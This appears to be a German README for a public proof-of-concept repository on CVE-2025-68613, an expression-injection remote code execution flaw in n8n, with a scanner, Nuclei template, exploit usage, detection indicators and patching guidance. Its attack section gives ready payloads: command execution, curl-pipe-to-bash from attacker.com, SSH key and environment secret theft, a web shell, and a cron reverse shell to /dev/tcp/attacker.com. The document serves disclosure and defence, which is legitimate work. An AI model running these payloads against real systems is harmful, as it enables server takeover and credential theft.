
Öffentlicher PoC + Scanner und Forschung für CVE-2025-68613: Kritische RCE in n8n Workflow-Automatisierung via Expression Injection (CVSS 10.0). Enthält Erkennungstools, vollständigen Exploit und Behebungsanleitung.

CVE-2025-68613 ist eine kritische Remote Code Execution (RCE)-Sicherheitslücke, die in n8n, einer beliebten Open-Source-Workflow-Automatisierungsplattform, entdeckt wurde. Diese Sicherheitslücke ermöglicht authentifizierten Benutzern die Ausführung von beliebigem Code auf dem Server, was potenziell zu einer vollständigen Systemkompromittierung führen kann.
n8n ist eine Open-Source-Workflow-Automatisierungsplattform, die es Benutzern ermöglicht:
Organisationen nutzen n8n, um:
Diese zentrale Rolle in der IT-Infrastruktur macht Sicherheitslücken besonders gefährlich, da sie Angreifern Zugang zu gesamten Netzwerken und sensiblen Daten verschaffen können.
Dieses Repository enthält einsatzbereite Tools zur Erkennung von Sicherheitslücken und zum Testen von Exploits:
cve-2025-68613-scanner.pyZweck: Sichere, nicht ausnutzende Erkennung von anfälligen n8n-Instanzen
Funktionen:
Verwendung:
python3 cve-2025-68613-scanner.py --target https://target.n8n.instancebash
python3 cve-2025-68613-scanner.py -u http://target:5678
**Output**:
- Exit code 0: Nicht anfällig
- Exit code 1: Version unbestimmt (möglicherweise gepatcht oder versteckt)
- Exit code 2: Anfällige Version erkannt
### 2. Nuclei Template: `CVE-2025-68613.yaml`
**Zweck**: Automatisierte Schwachstellenerkennung und grundlegende Ausdrucksauswertungstests
**Funktionen**:
- Erfordert gültigen Authentifizierungstoken
- Testet Expression-Injection-Fähigkeit
- Versucht, den Node.js-Globalkontext zu lesen (process.platform)
- Erstellt Test-Workflows zur Validierung des RCE-Vektors
- CVSS 10.0 Kritische Schweregrad-Einstufung
**Verwendung**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
exploit_cve-2025-68613.pyZweck: Vollständiger Proof-of-Concept-Exploit mit mehreren Angriffs-Payloads
Funktionen:
Voraussetzungen:
Installation:```bash pip install requests chmod +x exploit_cve-2025-68613.py
**Anwendungsbeispiele**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
Wie es funktioniert:
this.constructor.constructor() verwendet wirdprocess.platform oder andere Node.js-APIs ausExit-Codes:
Einfach ausgedrückt: n8n erlaubt es Benutzern, Ausdrücke (Expressions) in Workflows zu schreiben, um Daten dynamisch zu verarbeiten. Diese Ausdrücke werden jedoch ohne ordnungsgemäßen Sandbox-Schutz ausgewertet, sodass Angreifer aus dem vorgesehenen Ausführungskontext ausbrechen und beliebigen Code auf dem Server ausführen können.
Wenn Sie einen Workflow in n8n erstellen, können Sie „Ausdrücke" verwenden, um Daten zu manipulieren. Diese Ausdrücke sollen in einer eingeschränkten Umgebung ausgeführt werden. Die Schwachstelle zeigt jedoch, dass diese Ausdrücke auf das zugrunde liegende System zugreifen können, sodass ein Angreifer Folgendes tun kann:
Wenn ein Benutzer einen Workflow in n8n erstellt, kann er Ausdrücke verwenden, um Daten zu verarbeiten:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime
#### Schritt 2: Expression Injection
Ein Angreifer erstellt einen bösartigen Ausdruck, der die beabsichtigte Sandbox umgeht:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
Der Ausdruck wird ohne ordnungsgemäße Isolierung ausgewertet, sodass der Angreifer Folgendes tun kann:
Die Schwachstelle resultiert aus unzureichendem Sandboxing in der Ausdrucksauswertungs-Engine. Das n8n-Team wertete Ausdrücke in einem Kontext aus, der:
require() oder ähnliche Modul-Ladefunktionen erlaubteUser Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft
---
## Betroffene Versionen
### Anfälliger Bereich
Alle n8n-Versionen ab **0.211.0** bis zu den folgenden Versionen sind anfällig:
- `0.211.0` → `1.120.3`
- `1.121.0`
### Gepatchte Versionen
Die Sicherheitslücke wurde in folgenden Versionen behoben:
- ✅ `1.120.4` und später im 1.120.x-Zweig
- ✅ `1.121.1` und später im 1.121.x-Zweig
- ✅ `1.122.0` und alle neueren Versionen
### So überprüfen Sie Ihre Version```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version
/rest/workflows/{id}/run gibt in v1.121.0 einen HTTP-500-Fehler zurück
Der Exploit ist dafür ausgelegt, gegen den in NVD dokumentierten anfälligen Bereich zu arbeiten:
Wenn Tests gegen Versionen außerhalb dieses Bereichs durchgeführt werden, ist Erfolg nicht garantiert.
Sobald ein authentifizierter Benutzer (oder ein Angreifer mit gültigen Anmeldedaten) diese Schwachstelle ausnutzt, kann der Angreifer:
${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)
${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script
#### 2. Dateien vom Server lesen```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files
${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys
${Object.keys(process.env).join(', ')} // Lists all environment variables
${process.env.DATABASE_PASSWORD} // Extracts specific secrets
#### 4. Schädliche Dateien schreiben```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence
${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access
// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems
#### 6. Persistenz einrichten```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access
${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account
Szenario aus der Praxis: Unternehmen, das n8n verwendet
Produktionsunternehmen
Finanzdienstleistungen
Gesundheitsorganisation
Sicheres, nicht ausnutzendes Erkennungsskript (im Original-Repository enthalten):```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678
**Ausgabebeispiele**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2
--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613
Automatisiertes Scannen mit Nuclei:```bash
nuclei -t CVE-2025-68613.yaml -u http://target:5678
nuclei -t CVE-2025-68613.yaml -l targets.txt
**So funktioniert es**:
1. Sendet HTTP-Anfragen an übliche n8n-Pfade
2. Extrahiert Versionsmetadaten aus HTML/Headern
3. Dekodiert base64-kodierte Konfiguration, falls vorhanden
4. Vergleicht Version mit angreifbaren Bereichen
5. Meldet, ob Instanz angreifbar ist
### Methode 3: Manuelles Banner-Grabbing```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"
# Check headers
curl -I http://target:5678/ | grep -i "n8n"
# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz
shodan search "n8n" --limit 10
nmap -p 5678 --script http-favicon target.com
### Indikatoren für Ausnutzung (IOCs)
**Protokollanzeichen**:
- Ungewöhnliche Ausdrucksauswertungen in Workflow-Logs
- Ausdrucksfehler, die Systembefehle enthalten
- Zugriff auf sensible Dateien (z. B. Verweise auf /etc/passwd)
- Unerwartetes Starten von Prozessen ausgehend vom n8n-Prozess
**Systemanzeichen**:
- Neue Benutzerkonten auf dem Server erstellt
- Unerwartete SSH-Schlüssel in authorized_keys
- Neue Cron-Jobs oder geplante Aufgaben
- Änderungen an Systemdateien
- Reverse-Shell-Verbindungen vom n8n-Server aus
---
## Behebung & Eindämmung
### PRIMÄRE LÖSUNG: Sofortiges Upgrade
**Dies ist die einzige vollständige Behebung der Sicherheitslücke.**
#### Schritt 1: Sichern Sie Ihre Daten```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/
# Backup workflows
n8n export --backup-dir ./backup/
Docker verwenden (empfohlen):```bash
docker pull n8nio/n8n:1.122.0 # Or later
docker stop n8n-container
docker run -d --name n8n-patched
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.122.0
**Verwendung von npm**:```bash
# Backup first
npm run export --backup
# Update
npm update n8n
# Or specific version
npm install [email protected]
Verwendung des Systempaketmanagers:```bash
sudo apt update && sudo apt upgrade n8n
wget https://github.com/n8n-io/n8n/releases/download/[email protected]/n8n.tar.gz
#### Schritt 3: Überprüfen des Updates```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version
# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"
Wichtig: Diese beheben die Sicherheitslücke NICHT. Verwenden Sie sie nur als vorübergehende Maßnahmen während der Planung von Upgrades.
n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts
#### 2. Workflow-Änderungen überwachen```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly
sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable
sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP
#### 4. n8n mit minimalen Berechtigungen ausführen```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user
# Run n8n as this user
sudo -u n8n-user n8n
# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest
n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts
#### 6. Containerisierung & Isolation```bash
# Run n8n in a restricted Docker container
docker run -d \
--security-opt=no-new-privileges:true \
--read-only \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--tmpfs /tmp \
-p 5678:5678 \
n8nio/n8n:current-version
find /path/to/n8n -type f -mtime -1
ps aux | grep n8n netstat -tlnp | grep n8n
cat ~/.ssh/authorized_keys
journalctl -u n8n -n 100
---
## Risikobewertungsmatrix
| Szenario | Risikostufe | Wahrscheinlichkeit | Auswirkung | Priorität |
|----------|-----------|-----------|--------|----------|
| Ungepatchte, internetzugängliche n8n | KRITISCH | HOCH | Vollständige Kompromittierung | 🔴 DRINGEND |
| Ungepatchte, nur intern genutzte n8n | HOCH | MITTEL | Risiko durch Insider-Bedrohung | 🟠 HOCH |
| Gepatchte n8n | NIEDRIG | NIEDRIG | N/V | ✅ Gelöst |
| Ungepatcht + Berechtigungseinschränkungen | MITTEL | MITTEL | Auf vertrauenswürdige Benutzer beschränkt | 🟡 MITTEL |
---
## Schritt-für-Schritt-Wiederherstellung nach Kompromittierung
### Sofortmaßnahmen (erste Stunde)
1. **System isolieren**: Vom Netzwerk trennen
2. **Dienst stoppen**: `sudo systemctl stop n8n`
3. **Logs sichern**: Alle Logs vor dem Löschen sichern
4. **Team alarmieren**: Sicherheitsteam und Management benachrichtigen
5. **Ausmaß bewerten**: Feststellen, auf welche Daten n8n zugegriffen hat
### Untersuchung (erster Tag)
1. **Audit-Logs prüfen**: Nach verdächtigen Aktivitäten suchen
2. **Netzwerkverkehr analysieren**: Nach Datenexfiltration suchen
3. **Dateiänderungen prüfen**: Installierte Hintertüren finden
4. **Benutzerkonten überprüfen**: Nach neuen oder geänderten Konten suchen
5. **Zugangsdaten prüfen**: Alle von n8n verwendeten API-Schlüssel und Passwörter zurücksetzen
### Behebung (Tage 2-7)
1. **Kompletten Systemneubau durchführen**: Nicht nur aktualisieren, sondern von einem sauberen Image neu aufbauen
2. **Zugangsdaten rotieren**: Alle Passwörter, API-Schlüssel, Token zurücksetzen
3. **Alles patchen**: Alle verbundenen Systeme aktualisieren
4. **Aus Backup wiederherstellen**: Saubere Backups aus der Zeit vor der Kompromittierung verwenden
5. **Sicherheitsaudit durchführen**: Vollständige Sicherheitsbewertung durchführen
### Nach dem Vorfall (Wochen 2+)
1. **Überwachung implementieren**: Kontinuierliches Logging und Alarmierung einrichten
2. **Prozesse anpassen**: Vorfall-Reaktionsverfahren aktualisieren
3. **Benutzerschulung**: Teams zu Sicherheitsbest Practices schulen
4. **Schwachstellenscans**: Regelmäßige Scans auf ähnliche Probleme
5. **Compliance-Prüfung**: Sicherstellen, dass alle Vorschriften eingehalten werden (DSGVO, HIPAA usw.)
---
## Prävention in der Zukunft
### Sicherheitsempfehlungen für n8n
1. **n8n aktuell halten**
- Automatische Updates aktivieren, falls verfügbar
- n8n-Sicherheitswarnungen abonnieren
- Patches vor dem Produktiveinsatz im Staging testen
2. **Zugriffskontrolle**
- Prinzip der geringsten Privilegien anwenden
- Starke Passwörter und 2FA verlangen
- SSO für Unternehmensbereitstellungen implementieren
- Regelmäßige Zugriffsüberprüfungen und Audits durchführen
3. **Workflow-Management**
- Alle Workflows auf verdächtige Logik prüfen
- Code-Review-Prozess für Workflows implementieren
- Namenskonventionen zur Identifizierung kritischer Workflows verwenden
- Workflows regelmäßig sichern
4. **Zugangsdatenverwaltung**
- Niemals Zugangsdaten in Workflows speichern
- Umgebungsvariablen für sensible Daten verwenden
- Zugangsdaten regelmäßig rotieren
- Zugriff auf Zugangsdaten prüfen
5. **Überwachung und Logging**
- Umfassendes Audit-Logging aktivieren
- Auf ungewöhnliche Aktivitäten achten
- Warnungen für verdächtige Vorgänge einrichten
- Regelmäßige Log-Überprüfung und -Analyse
6. **Netzwerksicherheit**
- n8n in isolierten Netzwerksegmenten betreiben
- Netzwerkzugriff auf erforderliche Dienste beschränken
- VPN/Firewall für Fernzugriff verwenden
- Netzwerkverkehr auf Anomalien überwachen
7. **Vorfall-Reaktion**
- Vorfall-Reaktionsplan erstellen
Eskalationsverfahren definieren
- Regelmäßige Sicherheitsübungen durchführen
- Aktuelle Kontaktlisten pflegen
---
## Fehlerbehebung
### Problem: "Exit-Code 1: Authentifizierung oder Ausnutzung fehlgeschlagen"
**Häufige Ursachen**:
1. **Falsche Zugangsdaten** (am häufigsten)
- Lösung: Überprüfen Sie, ob die Zugangsdaten zuerst für die Web-UI-Anmeldung funktionieren
- Versuchen Sie: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`
2. **Benutzer hat keine Berechtigungen zum Erstellen von Workflows**
- Lösung: Verwenden Sie ein Administratorkonto oder ein Benutzerkonto mit Workflow-Erstellungsrechten
- Überprüfen: Admin-Panel → Benutzer und Berechtigungen
3. **Version ist gepatcht** (Version > 1.121.0)
- Lösung: Überprüfen Sie zuerst die Version mit dem Scanner: `python3 cve-2025-68613-scanner.py -u http://target:5678`
- Erwartet: Scanner sollte "Vulnerable" melden (Exit-Code 2)
4. **API-Struktur geändert** (ältere/neuere Versionen können abweichen)
- Lösung: NVD-Hinweis prüfen: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- Am wahrscheinlichsten beim Testen von Versionen außerhalb des dokumentierten Bereichs
5. **Netzwerk/Firewall blockiert**
- Lösung: Konnektivität prüfen: `curl http://target:5678/`
- Prüfen: Firewall-Regeln, Proxy-Einstellungen, SSL-Zertifikate
### Problem: Scanner meldet Fehlalarme (falsche Version erkannt)
**Behoben in v1.02**: Der Scanner verwendet jetzt die base64-dekodierte Sentry-Konfiguration aus Meta-Tags anstelle eines einfachen Regex. Dadurch werden Fehlalarme vermieden, bei denen die Node.js-Version als n8n-Version erkannt wurde.
**Was sich geändert hat**:
- Primäre Quelle: `<meta name="n8n:config:sentry" content="[BASE64]">` extrahieren und decodieren
- Fallback: Regex wird nur verwendet, wenn keine Sentry-Konfiguration verfügbar ist
- Ergebnis: Genaue Versionserkennung ohne Fehlalarme
**So verwenden Sie den Scanner v1.02**:```bash
# Update to v1.02
git pull origin main
# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678
Dies ist KEIN Fehler im Exploit - es ist eine API-Einschränkung.
Erklärung:
/rest/workflows/{id}/run-Endpunkt gibt HTTP 500 in n8n v1.121.0 zurückWorkaround:
Beleg: Erfasste Flagge auf TryHackMe: THM{n8n_exposed_workflow}
CVE-2025-68613 ist eine kritische Schwachstelle, die sofortiges Handeln erfordert. Die Kombination aus:
...macht dies zu einer der gefährlichsten Schwachstellen in Workflow-Automatisierungsplattformen.
Die einfache Lösung: Aktualisieren Sie sofort auf eine gepatchte Version. Es gibt keine Ausrede, anfällig für eine kritische RCE zu bleiben, wenn Patches verfügbar sind.
|- Version: 1.02 |- Erstellungsdatum: December 18, 2025 |- Zuletzt aktualisiert: December 26, 2025
Dieses Dokument dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitsbewertungen. Unbefugter Zugriff auf Computersysteme ist illegal. Stellen Sie immer sicher, dass Sie die entsprechende Autorisierung haben, bevor Sie Systeme testen, bewerten oder auf Systeme zugreifen, die Ihnen nicht gehören.
⚠️ DENKEN SIE DARAN: Aktualisieren Sie Ihre n8n-Instanzen sofort, wenn Sie anfällige Versionen ausführen.